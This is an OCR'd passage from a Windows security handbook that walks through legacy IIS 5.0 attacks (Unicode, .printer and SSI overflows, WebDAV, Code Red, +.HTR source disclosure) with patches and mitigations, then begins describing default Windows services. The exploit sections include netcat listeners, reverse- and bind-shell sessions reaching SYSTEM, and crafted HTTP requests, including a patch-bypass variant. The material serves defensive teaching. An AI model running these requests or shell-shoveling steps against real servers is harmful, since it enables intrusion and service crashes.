Windows 2000 Resource Kit utility whoami.exe to show the user con-
text of a Unicode command execution. Many Resource Kit utilities
including whoami.exe can now be downloaded from Microsoft’s site
at http://www.microsoft.com/windows2000/techinfo/reskit/tools/
default.asp.

Recall from our discussion of local user permissions earlier in the
text that by default, the Everyone group has full-control of all local
drives. This means that the Internet guest account can write to the file
system, and cmd.exe provides us a method to do just that. As a result,
many simple scripted attacks exist that will use Unicode or double-
decode attacks to build powerful scripts on the target system, such as an
ASP page that allows attackers to execute commands on the system
from a simple HTML form.

'3 Emror in CGI Application - Microsoft Intemet Explorer

| File  Edit  Miew Favontes Tools  Help | o |
e o, IS
L - LS n - >
\ &G - . X |3 o & &
| Back Fonward Stop  FRefresh  Home Search Favortes  Media  History
|| Address [(£] hitp://192.168.100.15/scipts/.. %e5al. Awhoami exe | Bl Go || Links >
[

CGI Error

The specified CGI application misbehaved by not returning a complete set of
HTTP headers. The headers it did return are;

MALIVE) IUSE_NALIVE

- i

=] Dore |1 [ Intemet

Figure 7-1.  Using whoami.exe in a Unicode attack shows that the command is executed
as the Internet guest account, IUSR_NAIVE.
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Ay
& Preventing Unicode/Double-Decode Attacks

" Windows 2000 SP2 (and the SP1 hotfix MS00-086) introduced a fix to the
original Unicode problem, and the subsequent double-decode vulnera-
bility was addressed in SP3 or the SP2 hotfix MS01-026. The patches
provide better defense against encoded URLs, but they do not impose
any additional restrictions on the Internet user accounts, so administra-
tors are encouraged to review their file system permissions to decide if
the current file system permissions afforded to the Internet guest ac-
counts are acceptable. Windows Server 2003 does not suffer from either
of these vulnerabilities.

The lessons learned from Unicode and double-decode go well be-
yond maintaining patch levels. For the vast majority of sites, there is no
reason that the Internet guest accounts require read and execute access
to system executables such as cmd.exe. The variety of attacks that were
enabled by allowing even unprivileged arbitrary command execution
opened the eyes of many security administrators and Microsoft product
managers alike. The overwhelming success of the Unicode and dou-
ble-decode exploits were a significant motivator in the design and de-
fault configuration of IIS 6.0. Were such a vulnerability to be discovered
in Windows Server 2003, the attacker would find the file system much
less accommodating to Internet guest accounts.

\ .printer Buffer Overflow

In mid-2001, a vulnerability was discovered by researchers at eEye Digi-
tal Security (http://www.eeye.com) in the Internet Printing Protocol
implementation installed by default on IIS v5.0. The protocol is handled
in IIS by an ISAPI extension that maps the resource extension .printer to
the msw3prt.dll application. The team at eEye discovered an unchecked
buffer in this DLL’s request handling of the Host header field. Beyond a
certain amount of data, any information contained in the Host header
would simply overrun system memory. If the data introduced into
memory were junk, IIS would simply crash and restart automatically. If,
however, the data were carefully formulated shellcode, the attacker
could introduce executable code in the Host header field, which would
be executed in the msw3prt.dll application. Further complicating the is-
sue, the msw3prt.dll was defined as an “in-process” application and
would execute with the same Local System privileges as the IIS server it-
self, instead of the more restricted Internet guest accounts.

For a simple test for the presence of the vulnerability, we can formu-
late a simple GET request for delivery with our netcat method described
earlier. The request file for this attack would look like the following;:
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GET /anything.printer HTTP/1.0
Host: [any character repeated 422 times]

Delivery of this probe doesn’t return anything of significance back
to the attacker. On a vulnerable server, however, the Event Log records
a number of entries in the System Log, depending on how many ser-
vices are running under the core IIS process, inetinfo.exe. The Event Log
entries will read something like the following;:

The World Wide Web Publishing Service service
terminated unexpectedly. It has done this 2
time(s). The following corrective action will
be taken in 0 milliseconds: No action.

Well, crashing a service is kind of fun, but IIS 5.0’s immediate restart
feature means even the crash is short-lived. No worries. A number of re-
searchers picked up on eEye’s announcement of the .printer vulnerabil-
ity, and in short order a few different exploits began turning up for the
vulnerability. Most of these exploits were based on the jill.c exploit code
released by dark spyrit of beavuh labs, and all behave similarly.

ﬁ So how do attackers and security professionals find exploit code? Within the first
days of a vulnerability’s release, exploits are usually hard to come by and are being
closely guarded by their authors. Often, working exploits exist long before the vul-
nerability is announced, as researchers who find problems will usually allow the
vendor some time to respond to the issue before they go public. After the vulnera-
bility is released, other researchers may begin developing exploits, and it’s not un-
common for a few different exploits to exist for the same issue. Usually, within a
week or so of the initial announcement, functional exploits can be found in secu-
rity-related newsgroups and web sites. To obtain the exploit we describe for the
.printer vulnerability, we simply searched Google.com for “IIS .printer exploit
code’—the code we use in this chapter was the second link returned.

To keep things simple, we’ll use a Perl version of this exploit devel-
oped by Cyrus The Great, ported from both the original proof-of-
concept code released by eEye and the shellcode from dark spyrit’s
jill.c application. A quick search for “IIS .printer exploit code” or
“IISHACK2000 perl” should turn up a few sources for this exploit, in-
cluding the excellent security web sites http://www.securiteam.com
and http:/ /packetstormsecurity.nl. When you find the Perl script, simply
copy and paste the script into a text file and save it with a .pl extension.
For our examples, we've named the script prntbo.pl. The comments at
the top of the script provide simple instructions:

# shell code spawns a reverse CMD shell , you should setup a
# listener ..
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# use ncllnt for Windows platform, nc for Unix
# nc -1 -v -t -p <attacker port >

So now we get to use netcat for a whole other purpose. Before we
launch our attack, we will create a listening port on our host. If the ex-
ploit is successful, it will actually call us back on the port we specify and
feed us a command prompt (this process is often referred to as “shoveling
ashell”). A note before we try this exploit—due to the way the shellcode
executes, there is a very good chance that the IIS server will be rendered
unusable until it is actually rebooted. This is not something you want
to try against a production site, and certainly not something you should
try against any machines that you do not administer.

To kick off this exploit, we will need to open two command prompt
windows. In the first, we will start a netcat listener as suggested in the
comments of the Perl script. We will set up a netcat listener on TCP port
8000, using the following command:

E:\hacknotes>nc -1 -v -p 8000
listening on [any] 8000

Now we will switch to our second command prompt and use Perl
to execute the script, prntbo.pl. The author was even kind enough to
include command-line usage assistance:

E:\hacknotes\exploites>perl prntbo.pl
Usage:
prntbo.pl <victim host> <victim port> <listen host> <listen port>

Victim Host: Address of IIS5 server to own
Victim Port: IIS5 service port ( 80 )
Listen host: Attacker host IP address
Listen port: Port number of netcat listener

E:\hacknotes\exploites>perl prntbo.pl \
192.168.100.15 80 192.168.100.4 8000
Connecting...
Sending exploit...
Exploit sent.. You may need to send a CR on netcat listening port

Following Cyrus’s instructions once again, we switch back to our
netcat listener window. If our exploit was successful, we should see a
connect statement in the window now. Sending the carriage return
completes the connection, and we receive our command prompt. As our
last step, we'll confirm our user context with the whoami.exe resource
kit tool, as we did before with the Unicode attack.

connect to [192.168.100.4] from NAIVE [192.168.100.15] 1035
[cr]
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Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

E:\WINNT\system32>
E:\WINNT\system32>cd \
cd \

E:\>whoami .exe
whoami . exe

NT AUTHORITY\SYSTEM

E:\>

Well, that about does it then. While we can’t run interactive applica-
tions from this command prompt due to the limitations of our netcat ses-
sion, we have full access to the file system and executables and can set
about building ourselves a nice little rootkit. Using command-line file
acquisition tools like tftp or ftp, the attacker will download other com-
mand-line utilities he can use to make the session more comfortable.

There is one trick, though, that is constantly forgotten by novice at-
tackers—if you issue a CTRL-C to cancel an operation (such as a directory
listing of the System32 directory on a slow link), you will actually cancel
your netcat session, and your command shell will be lost. Worse, be-
cause the shellcode (understandably) has no error control, it will not ter-
minate on its own when you disconnect. If you do not quit the remote
shell by explicitly calling exit before you disconnect, the remote server
will go into an unrecoverable failure mode and will need to be rebooted.
You will not be able to get back in via the .printer exploit until the sys-
tem has been restarted. The same applies if you run the exploit without
a listener to catch the shell. These caveats make this a fairly risky exploit
to try—if you blow it, you'll take IIS out of the picture entirely (possibly
leaving the system a whole lot more secure in the process).

Remove IIS .printer Functionality

The buffer overflow issue in the msw3prt.dll was corrected in the patch
accompanying Microsoft security bulletin MS01-023, and was included
in Windows 2000 SP2. Windows Server 2003 does not even offer the
.printer ISAPI mapping by default. On IIS 5.0 however, unless the
Internet Printing Protocol function is in use, administrators are strongly
encouraged to remove the ISAPI application mapping for .printer re-
sources. The ISAPI mappings can be defined for the entire server or an
individual web site from the IIS management console snap-in.

1. Start the Internet Information Services Manager by selecting
Start | Run... | inetmgr.
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2. Right-click the server name in the left-hand panel and select
Properties.

Select WWW Service and click Edit.
Click the Home Directory tab.
Click the Configuration button.

AR O

In the Application Configuration dialog box, remove any ISAPI
application mappings that are not specifically required for
your web site.

Typically, IIS buffer overflows do not occur in the core IIS program
inetinfo.exe but in one of the ISAPI applications just defined. The default
activation of all of these applications provides a number of pathways
for an attacker; we will discuss others shortly. When in doubt, remove
all ISAPI mappings and then re-add the ones that are in fact required by
your sites. Windows Server 2003 ships with no ISAPI extensions en-
abled by default, requiring administrators to explicitly enable the ones
they need.

\ Server-Side Include Buffer Overflow Attack

In June of 2001, researchers with the NSFocus Security Team contacted
Microsoft about a vulnerability they had uncovered in the code that
managed server-side includes (SSI) as an ISAPI application, ssinc.dll. By
default, the extensions .shtm, .shtml, and .stm are mapped to the SSI ap-
plication. When the SSI sees a directive like the following, it opens the
file specified and outputs all the content as if it had been included in
the original .shtml file:

<!--#include file="afile.html"-->

The NSFocus researchers discovered that when the SSI checked the
filename length (to ensure that it wouldn’t overflow any buffers), it did
not take into account the length of any relative paths, such as the one the
.shtml file was being called from. As a result, there lies an opportunity
to overflow the buffer by specifying a filename that occupies the entire
buffer and is called from a relative path. The attack for the SSI buffer
overflow is a little more challenging because it requires some setup
in the web root directory itself. This can frequently be accomplished
through other hacks, such as the Unicode/double-decode command ex-
ecution described earlier, but does severely limit the usefulness of this
vulnerability.

An exploit was released for the Server-Side Include vulnerability by
Indigo in December of 2001, a small program called jim.c (in reference
to dark spyrit’s jill.c exploit for the .printer buffer overflow, discussed
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earlier). The jim.c tool is used to create an .shtml file that, if accessed
from a web client, spawns a shell back to the attacker in the same fash-
ion as we did with the .printer vulnerability. jim.c can easily be found
by searching for “IIS SSI exploit” or from the Securiteam web site
exploit archive at http:/ /www.securiteam.com/exploits/archive. The
source included on this site does have one or two small errors that will
affect its compilation—you may have better luck compiling this one in a
Cygwin environment as we have done. Once built, the tool is executed
by simply providing the IP address and port that you'd like the target
host to connect back to.

Administrator@mandark ~
$ ./ssi.exe 192.168.100.4 8000

jim - IIS Server Side Include overflow
launcher
by Indigo <indig0O@talk2l.com> 2001

To exploit this vulnerability you must have write access
to the web root of the target web server.

This program will generate a file called ssi.shtml.
Create a directory in the web root whose name is

12 characters long eg. ssi_overflow then put this file
into the new directory. Start up a netcat listener:

nc -1 -p <attacker port> -vv

Access the file http://target/ssi_overflow/ssi.shtml
using a web browser. A SYSTEM shell will appear.

N.B. I have had problems using Netscape to do this but IE works fine.

Administrator@mandark ~
$ 1s
ssi.exe ssi.shtml ssi_exploit.c

Following the instructions, we transfer this file to our target host
and set it up the /ssi_overflow directory. This may be done using legiti-
mate permissions (such as on an intranet workgroup web server), or
through another hack such as the Unicode command execution. In some
cases, an inexperienced administrator may have even allowed Write ac-
cess to the root directory, and you can simply PUT the file to the web
server. After the file is loaded, we go ahead and fire up our netcat lis-
tener again, and then browse to http:/ /target/ssi_overflow/ssi.shtml.
If the system is not properly patched and we have a bit of luck on our
side, our netcat listener will pick up a shell being shoveled back to us. If
we’re not so fortunate, we’ll have dumped a file on the remote host and
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thrown a few new Event Log entries to boot from crashing IIS via the
ssinc.dll application.

bt
‘i Disable Server-Side Includes
" The server-side include vulnerability was addressed in a rollup patch in

Microsoft security bulletin MS01-044, and is included in Windows 2000
SP3. This patch addresses the buffer overflow within the ssinc.dll ISAPI
application that is called by the .shtml file created by jim.c. Like all
ISAPI filters, if server-side includes are not specifically required by the
web sites operating on the server, the mappings for .shtml, .shtm,
and .stm should be deleted from all sites. Refer to the .printer overflow
described earlier for instructions on removing ISAPI application mappings
in “Remove IIS .printer Functionality.”

\ WebDAV ntdil.dil Buffer Overflow Attack

WebDAYV is an HTTP extension introduced in HTTP v1.1 that defines
special actions for use in authoring and managing web content. WebDAV
stands for Web-based Distributed Authoring and Versioning, and is sup-
ported in IIS v5.0 by default. In March 2003, Microsoft issued security
bulletin MS03-007 describing an unchecked buffer in the WebDAYV han-
dling routines, a vulnerability that could be exploited through a default
installation of IIS. The actual vulnerability lies in a core operating system
library, ntdll.dll.

As described in a short whitepaper by David Litchfield of Next Gen-
eration Security Software, when IIS receives a WebDAYV request, it does
not perform any length checking on the requested resource. So it is pos-
sible to supply a filename in excess of 65,535 bytes in length and it will
be happily passed to lower-level operating system functions, whereas a
properly formatted filename can overrun memory and result in privi-
leged code execution. While the WebDAYV attack is the first method
of exploiting this issue in ntdll.dll, Litchfield provides a long list of
other functions that call the same flawed function that triggers the
WebDAYV buffer overflow. The whitepaper can be obtained at http://
www.nextgenss .com/papers/ms03-007-ntdll.pdf.

Public WebDAYV exploits exist in both C-source and Perl forms and
operate in the standard “shell back to attacker” fashion. The public ex-
ploits are finicky, however, and frequently fail to trigger the exploit
properly, returning instead nothing more than an invalid request error.
However, some recent attacks have been attributed to this WebDAV
buffer overflow, so it is possible that there are more robust exploits
available in limited circulation.
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Update ntdll.dll, Disable WebDAV

The WebDAYV buffer overflow is corrected in the post-SP3 hotfix avail-
able in Microsoft security bulletin MS03-007. While WebDAV is not
available in IIS 4.0, there is a patch available for Windows NT v4.0 as
this vulnerability actually exists in a core system library and could
potentially be exploited by other methods than WebDAV. Microsoft has
indicated that the WebDAYV fix will be included in Windows 2000
Service Pack 4.

Even if the patch is applied, if WebDAYV is not required on an IIS
server best practices suggest that the WebDAV methods exposed be dis-
abled. The IIS Lockdown tool can install URLScan and configure it to
block all WebDAV method requests. IIS Lockdown and URLScan are
described in Chapter 14. If WebDAYV services are required and the
patch cannot be applied, Microsoft provides additional solutions in
the MS03-007 regarding specific tools that can be installed to mitigate the
risk from this vulnerability.

Index Server ISAPI Buffer Overflow Attack (Code Red)

In June of 2001, eEye Digital Security released details for another major
IIS vulnerability, this one occurring in the Indexing Service ISAPI appli-
cation, idq.dll. The remotely exploitable bounds checking vulnerability
involved an excessively long parameter string for a URL ending in ei-
ther of the Indexing Service mappings, .ida and .idq. Due to the location
of the buffer overrun, systems that had the ISAPI mappings enabled but
had Indexing Services disabled in the Services control panel applet were
still vulnerable. Further complicating the matter, because idq.dll runs as
an in-process application, successful exploitation of the vulnerability
would result in Local System account privileges.

In less than a month, a working idq.dll exploit had been wrapped
into an extremely aggressive worm that began ravaging the Internet.
Once loaded, the worm would replicate by exploiting the Indexing Ser-
vice on other hosts, choosing IP addresses at random, and then sending
the exploit. Over 200,000 hosts were estimated to have been infected by
the worm in its first days. Many variants of the worm quickly appeared,
some participating in distributed denial-of-service attacks. System and
network administrators worldwide worked against a constant flood of
newly infected systems, flushing the worm from systems and disabling
Index Services, or applying network filters to systems that were actively
broadcasting the worm. Many broadband network providers imple-
mented filters on inbound HTTP traffic during the Code Red event, and
few have removed those filters since.
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The Code Red worm has not been completely stamped out of exis-
tence, and Internet facing servers that are not properly patched will
eventually be compromised (systems that are vulnerable to the Index
Server vulnerability are likely susceptible to the other exploits dis-
cussed in this chapter as well). As an extremely popular vulnerability,
there are quite a few exploits available for the idq.dll buffer overflow;
there are even simple UNIX shell scripts that will run the exploit via
netcat. Just as an example of how simple hacking can be, we located a
simple GUI application capable of exploiting the IDQ buffer overflow in
a simple point-and-click fashion. Figure 7-2 shows the Snake IIS tool,
found in the exploit archives at http:/ /www.xfocus.org. Snake IIS was
apparently coded in an extended character set, and the interface takes
some deciphering. Simply provide the IP address and server port of the
target system, select what version of IIS 5 your target is running in the
list box, and then enter what port you want the exploit to bind a com-
mand shell to. Click the attack button (in Figure 7-2, it’s labeled IDQ??)
and cross your fingers. If all goes well, you can use netcat (or telnet) to
connect to the selected port on the remote machine, and you should be
rewarded with a privileged shell:

E:\hacknotes>nc -vv 192.168.100.15 2003
NAIVE [192.168.100.15] 2003 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

E:\WINNT\system32>cd \
cd \

E:\>whoami
whoami
NT AUTHORITY\SYSTEM

E:\>

X
“ Remove IDQ/IDA Mappings

The Index Server vulnerabilities exploited by Code Red (and a host of
other tools) were corrected in the patch associated with Microsoft secu-
rity bulletin MS01-033 (later rolled up into MS01-044), and are included
in Service Pack 3. The patch corrects the unchecked buffer condition
in the idq.dll application but does not disable the associated ISAPI
mappings. The MS01-044 roll-up patch included a number of other
patches, affecting some denial-of-service vulnerabilities we have omit-
ted from our discussion.
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IP: [192.168.100.15 Port: ]BI] 29%

IS50DTAWin2k Sp0
11S50DAWin2k Sp1
1S50DTAWin2k Sp2

—not suHEon — 1155 EnHIish Win2k Si
1 D

—not support — 1155 English Win2k Sp

—not support — IS5 Jap Win2k ¢
IS5 Japanese Win2Zk Spl Snake?llS2772,772777277772,172,7222,2227272.11
—not support — IS5 Jap Win2k ¢

22CMD.EXE?27A: 2003

Figure 7-2. The “Snake IIS” point-and-click index services exploit tool
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In case we haven’t said it enough, if you are not using the ISAPI
mappings of .ida and .idq for Index Services content on your site, dis-
able them from the Internet Services Manager snap-in. Similarly, if you
are not using server-side includes, web-based printing, active server
pages, or any other ISAPI applications, disable those as well. When they
are not in use, these additional applications serve no other purpose but
to increase the number of different processes an attacker can influence
remotely.

A Kinder, Gentler Attack

Not every IIS attack leads directly to command execution. In many
cases, particularly with well-defended systems, an attacker will chain
together a number of less potent exploits to learn more about the web
services offered by the system and then take advantage of those services
to accomplish their goals. These attacks will often take the form of con-
voluted parameters to server pages that accept input and involve more
subtle techniques such as SQL injection. There have also been some vul-
nerabilities in IIS that allow an attacker to view the source code of server
scripting pages such as ASP or PHP. There were a couple of big of-
fenders in IIS 5.0 that were quickly patched in SP1, these included
the Codebrws.asp, Webhits, and Translate: f issues plus others that
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pre-dated IIS 5.0 such as Showcode.asp. We will forego discussion of
these issues as they are mostly outdated and are very well documented
elsewhere. But to exemplify the power of these low-impact attacks, we
will cover one of the more recent source-disclosure vulnerabilities.

\ +.HTR Source Disclosure

One of the simplest IIS vulnerabilities, the + HTR source disclosure sim-
ply tricks the server into having the request processed by an external
process (ism.dll) used for certain web-based administration tasks. This
vulnerability is commonly available due to yet another default ISAPI
mapping. To employ this attack, simply request a file known (or be-
lieved to be) present on the server with a standard URL and then append
+.HTR. The ISAPI dll chokes on the extension and simply responds with
the source of the file requested. The dll processes the file and returns
any data it finds not inside script tags (<% and %>). Because most
default scripts in IIS begin and end with these tags, this exploit’s effec-
tiveness is somewhat limited. However, many custom scripts are not so
careful to enclose everything in script tags, so this simple trick can still
succeed on occasion, particularly on global.asa files (which do not fare
well with script tags in them).

The following example shows a netcat +.HTR probe for the de-
fault.asp page in the root directory of the web server at 192.168.100.15.
You can see from the nudge file (default_asp_htr.txt) that the URL is no
different than any other GET request, with the exception of the + HTR
extension. The output of this probe is somewhat of a surprise!

E:\hacknotes>more defaultasphtr.txt
GET /default.asp+.HTR HTTP/1.0

E:\hacknotes>type defaultasphtr.txt | nc -vv 192.168.100.15 80
NAIVE [192.168.100.15] 80 (http) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sun, 11 May 2003 18:08:10 GMT

Expires: Tue, 01 Jan 1980 00:00:00 GMT

Content-Length: 375

<?php

// Yes, that's right, PHP! Ha! No one will ever

// guess that we've changed our default .ASP mapping
// to the PHP executable. We're unhackable!

// phpinfo() ;
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include ('includes/dbconn.inc') ;

Sdbuser="repoman" ;
Sdbpass="takeitallback";
[. . .1

So while connecting to this web site in a browser would have pre-
sented us some sort of database-driven web site, we would probably
have operated under the assumption that the web application was
based on Active Server Pages. While the site administrator was clever
enough to have changed the default mapping for the .asp extension to a
PHP interpreter, he neglected to remove the .HTR mapping (or patch
against the source disclosure) so all is for naught—we now know we're
targeting a PHP site.

If your target doesn’t appear to be vulnerable to + HTR initially,
there is one variant that continued to work against systems patched for the
initial +.HTR discovery. If the URL includes a hex-encoded ? (question
mark) (represented as %3f in hexadecimal) just before the +. HTR, the
patch failed to catch the extension and would still reveal the source. So
in this case, our GET statement would be simply

fewwng

GET /default.asp%3f+.HTR HTTP/1.0

Ay
i.‘ Preventing +.HTR Source Disclosure

The +HTR issue was last patched in Microsoft security bulletin
MS01-004 and is included in Windows 2000 SP3. Once again, we will
repeat the mantra: if you are not using the functionality provided by
the .htr ISAPI mapping to ism.dll, remove the mapping. However,
some web applications do make use of this mapping for password
management facilities, so in some cases, this ISAPI mapping is required.

SUMMARY

In this chapter, we have covered a number of commonly exploited IIS
vulnerabilities. Our intent has been to provide an understanding of
some of these prominent attacks so that you are familiar with the con-
cepts of both the vulnerabilities and the techniques used to exploit them
and can apply this understanding to future security issues as they arise.
For example, you now know that for the majority of buffer overflow at-
tacks, the attacker must be able to either receive a connection from the
affected host or be able to connect to the host on a port other than the
service exploited (usually HTTP). This means that many of the attacks
we’ve discussed can be foiled simply by a strong firewall policy that
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disallows outbound connections or inbound connections to ports other
than HTTP. We will discuss this method and other IIS hacking defenses
in Chapter 14 on IIS Securing Tools.

The information presented here is really just the tip of the iceberg for
web hacking. We’ve concentrated on the IIS service and its default ex-
tensions, but there are a whole world of different vulnerabilities present
in web applications. Securing the server platform is just the first piece of
the puzzle. If you’d like to learn more about web hacking in general, we
recommend this text’s companion, Hacknotes Web Security Portable Refer-
ence by Mike Shema (McGraw-Hill/Osborne, 2003).
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in a defensive stance, discussing the security holes that these ser-

vices provide and describing how best to block them. We have
not spent a great deal of time developing preparedness for the next ma-
jor security concern. Except for the most obscure network stack vulnera-
bilities (none of which presently exist for the Windows server operating
systems), all remote exploits are going to target some sort of networked
service.

One of the first things you learn about Windows administration is
how to access the Services control panel applet, services.msc. Alas,
in times of peace, many Windows system administrators, reflecting
on their services applet, have been heard to lament “How many of these
things do I really need?”

Up until now, we’ve been addressing services and security issues

WINDOWS SERVICES REVEALED

In this chapter, we’ll try to help you answer that question. We’ll take a
look at the default services on Windows 2000 and Windows 2003, point
out any security highlights, and explain their function. For ease of refer-
ence, we've listed the three biggest offenders first and presented the re-
maining services alphabetically.

The Top Three Offenders

These three services are the ones that a would-be attacker would look
for first. Each of these services can play host to a number of significant
threats, many of which are well documented and can be easily exploited
even by novice hackers. Systems running services on this list should be
carefully secured and well maintained. If any of these services are not
required on a system, they should be disabled.

Internet Information Services/
World Wide Web Publishing Service

The Internet Information Services are frequently referenced as an exam-
ple of the insecurity of Microsoft operating systems. FTP services pro-
vide an additional authentication point. The web publishing service has
a long history of security issues, some in the core HTTP server, and
many in the supporting ISAPI filters. We have devoted the entire previ-
ous chapter of this text to Internet Information Services, and so it tops
our list of dangerous services.
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Terminal Services

The Windows Terminal Services provide remote desktop access to
approved users, allowing interactive control and application execu-
tion from a remote workstation. Terminal Services have been quickly
adopted as the remote administration method of choice in many organi-
zations, replacing the old standards of VNC and PCAnywhere. This ser-
vice offers an additional authentication point for attackers seeking to
gain access to a system. If an attacker obtains valid credentials to the
system, the interactive nature (and the implied INTERACTIVE group
membership) of Terminal Services makes privilege escalation far more
trivial than if the attacker were restricted to accessing shares or resources.

Microsoft SQL Server / SQL
Server Resolution Service

After two worms successfully exploited SQL Servers worldwide using
well-known vulnerabilities (default blank sa-user password in SQL
Server versions prior to 2000; buffer overflow in SQL Server Resolution
service in SQL Server 2000), this service gained popularity as a potential
inroad for attackers of all skill levels. In addition to the risk imposed by
direct exposure (which should be mitigated by firewalls or even local IP
filtering, if necessary), SQL Servers are frequently attacked by way of a
client application, usually a web application. Due to the sensitivity of
the data they contain, compounded by the variety of system functions
that can be made available to SQL scripts, legitimate SQL Servers should
be well secured and rogue installations should be quickly eliminated.

The Rest of the Field

Now that we’ve seen the Big Three of Windows services, let’s cover the
rest. These services do not represent a significant security risk, but you
would probably still like to know what they do. We’ve got a lot to cover
in a few short pages, so let’s get started.
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Alerter Service (Startup: Windows 2000: Automatic, Windows 2003: Disabled)
The Alerter service is responsible for sending administrative users an
“alert” when significant events occur, such as starting a reboot. If the
Alerter service is disabled on a Terminal Server, for example, an adminis-
trator logged on remotely would not be notified when a local administra-
tor initiates a shutdown. Alerter should not be confused with Messenger,
which is responsible for actually relaying and displaying the alert text.
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Application Layer Gateway Service (Startup: Windows 2000: N/A, Windows
2003: Manual) The Application Layer Gateway Service is started when
the Internet Connection Firewall (ICF) is enabled on a device. Disabling
this service will prevent the use of ICF.

Application Management (Startup: Manual)  This service is employed when
Active Directory—based software management services are used, such
as Microsoft Systems Management Server or group policy application
deployment.

Automatic Updates (Startup: Automatic) A huge boon to Windows secu-
rity, the Automatic Updates service can download and install critical
updates unattended. However, this requires that the host have Internet
access and may impose a false sense of security. Use appropriately as
your security policy dictates.

Background Intelligent Transfer Service (Startup: Manual) This service ex-
poses the APIused by Automatic Updates to conduct large file transfers
while network activity is idle. This service can then be used by third-
party software to manage its own updates in a similar fashion.

Clipbook (Startup: Windows 2000: Manual, Windows 2003: Disabled) Rarely
used any longer, the Clipbook service provides facilities to share clip-
board data between systems. Unless you have legacy applications that
use this service, it is probably best disabled.

COM+ Event System (Startup: Manual) The COM+ Event System service
provides a notification service to applications using the Component Ob-
ject Model software architecture. This event system passes data such as
logon/logoff alerts, network events, and power events. See also the Sys-
tem Event Notification service.

COM+ System Application (Startup: Windows 2003: Manual, Windows 2000: N/A)
Provides a service host for COM+ enabled applications. While it is not
directly defined as a requirement for any other services, disabling will
cause a great deal of warning messages in the event log.

Computer Browser (Startup: Automatic) Unused in Active Directory envi-
ronments, the Computer Browser service works in concert with the lo-
cal network’s designated master browser to maintain a list of other
NetBIOS devices nearby (the Network Neighborhood). Can be disabled
in many server environments, where use of LMHOSTS instead can pre-
vent name spoofing.

Cryptographic Services (Startup: Windows 2003: Automatic, Windows 2000 N/A)
This service was exposed starting in Windows XP and provides SSL
certificate management, as well as the signature validation for installed
software and drivers.
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DHCP Client (Startup: Automatic) This service manages communication
with DHCP (dynamic host configuration protocol) servers and is started
even on hosts not running DHCP. The service is not necessary on sys-
tems with static IP addresses and may be disabled.

Distributed File System (Startup: Automatic) The DFS service allows struc-
turing network resources on disparate servers and shares in a logical hi-
erarchy, so while Sales data may be stored on four different file servers,
DFS would allow those four servers to appear as subdirectories on a log-
ical share. Few environments have implemented this technology and
you may wish to disable it.

Distributed Link Tracking Client and Server (Startup: Windows 2000: Automatic,

Windows 2003: Disabled) Windows 2000 introduced a system to manage
outdated UNC resource links. The client stores link information locally
so that any changes made in local file location can be quickly resolved.
The server manages the hand-off when resources change locations. Few
environments have enabled DLT, and the server is disabled by default
on Windows 2003, so in most cases these services can be safely disabled.

Distributed Transaction Coordinator (Startup: Automatic) This service is used
in clustered environments and by some client applications to arrange
accessing resources from multiple systems simultaneously. If your
server is not specifically involved in clustering, you may be able to dis-
able this service.

DNS Client (Startup: Automatic) This service provides DNS name resolu-
tion and manages caching of DNS results. Usually required, but an iso-
lated system may be able to make use of hosts” entries and disable the
DNS client.

DNS Server (Startup: Automatic, if installed) Resolves or proxies DNS
name requests for clients, manages any local zone data, and handles dy-
namic DNS updates (such as from DHCP). Usually required if installed;
can be disabled if not the primary DNS server for the environment.

Error Reporting Service (Startup: Automatic) The new Dr. Watson, this is
the service that creates those An error has occurred, would you like to submit
the data to Microsoft messages. This service can be disabled, and many
users prefer it that way.

Event Log (Startup: Automatic)  This is the Windows system logger. This
service should always be enabled and used extensively for auditing
purposes.

File Replication Service (Startup: Manual, Automatic on DCs) Used in con-
junction with the Distributed File System, the File Replication Service can
be used to maintain file system synchronization between two or more
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servers. This is not needed for domain replication, but may be used by
some applications or in clustered/distributed service environments.

Help and Support Services (Startup: Windows 2003: Automatic, Windows 2000: N/A)
This service enables the operating system help files in Windows XP
and above. Disabling the service is short-lived—it’s automatically
re-enabled if a user tries to start Help and Support.

HTTP SSL (Startup: Windows 2003: Manual, Windows 2000: N/A)  Secure
Sockets Layer for HTTP is processed within the Local Security Authority
Subsystem (LSASS). This service exposes that functionality, and in all
conceivable cases, should not be disabled.

Human Interface Device Access (Startup: Windows 2003: Disabled, Windows
2000: N/A)  This service enables so-called “hot-buttons” on keyboards,
mice, and remote controls. On the author’s computer, the service
errors out on startup, so this may be intended to support future ac-
cessibility initiatives.

Indexing Service (Startup: Windows 2003: Disabled, Windows 2000: Manual)
The indexing service is typically used by web servers as a search engine,
but can also be used by the Windows file search. When active, the index-
ing service crawls resources to maintain its database, which can make a
system seem oddly busy when it should be idle. Unless this service is
specifically in use, it is best left disabled.

Internet Connection Firewall / Internet Connection Sharing (Startup: Windows
2003: Disabled, Windows 2000: N/A)  This is the Windows firewall service
proper, providing IP masquerading services for Internet Connection
Sharing or simple packet filter services for the local system. Service
makes use of the Application Layer Gateway Interface. This service can
be disabled if ICE/ICS is not desired on the system.

Intersite Messaging (Startup: Windows 2003 Disabled, Automatic on DCs)
This service is used in the management of Active Directory domain rep-
lication, handling communication between different AD server sites.

IPSec Policy Agent/Services (Startup: Automatic) This service provides the
Windows 2000 IPSec functionality, including packet integrity and security
services, as well as basic IP filtering. Can be disabled if not used, but
using the service is more secure than disabling it.

Kerberos Key Distribution Center (Startup: Disabled, Automatic on DCs) This
service provides the Kerberos logon facilities on Domain Controllers in
Active Directory environments. Without this service, Kerberos domain
authentication will fail.
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License Logging (Startup: Windows 2003: Disabled, Windows 2000: Automatic)
This service provides a monitor for server license compliance, monitor-
ing the number of clients or seats in use at any given time. The service
can also be used in conjunction with Application Management to report
licensing issues.

Logical Disk Manager / Logical Disk Manager Administration Service (Startup:
Hardware Specific) These two services work together to manage local
hard drives, RAID arrays and removable media. The Logical Disk Man-
ager service detects changes in storage options and the LDM Adminis-
tration Service provides configuration steps.

Messenger (Startup: Windows 2003: Disabled, Windows 2000: Automatic)

This service is responsible for receiving messages from the Alerter ser-
vice and from the net send command and relaying them to the user. The
net send method has been highly exploited by public spammers and ca-
pricious co-workers alike, so many administrators disable this service.

MS Software Shadow Copy Provider (Startup: Windows 2003: Manual, Windows
2000: N/A)  This new service in Windows XP and 2003 allows users to
view and retrieve data from a network share as a “point-in-time” copy, so
if a user overwrites an important file with blank data, they can recover the
non-empty version. This service provides client facilities to the Volume
Shadow Copy service. Not well-deployed in most environments, this ser-
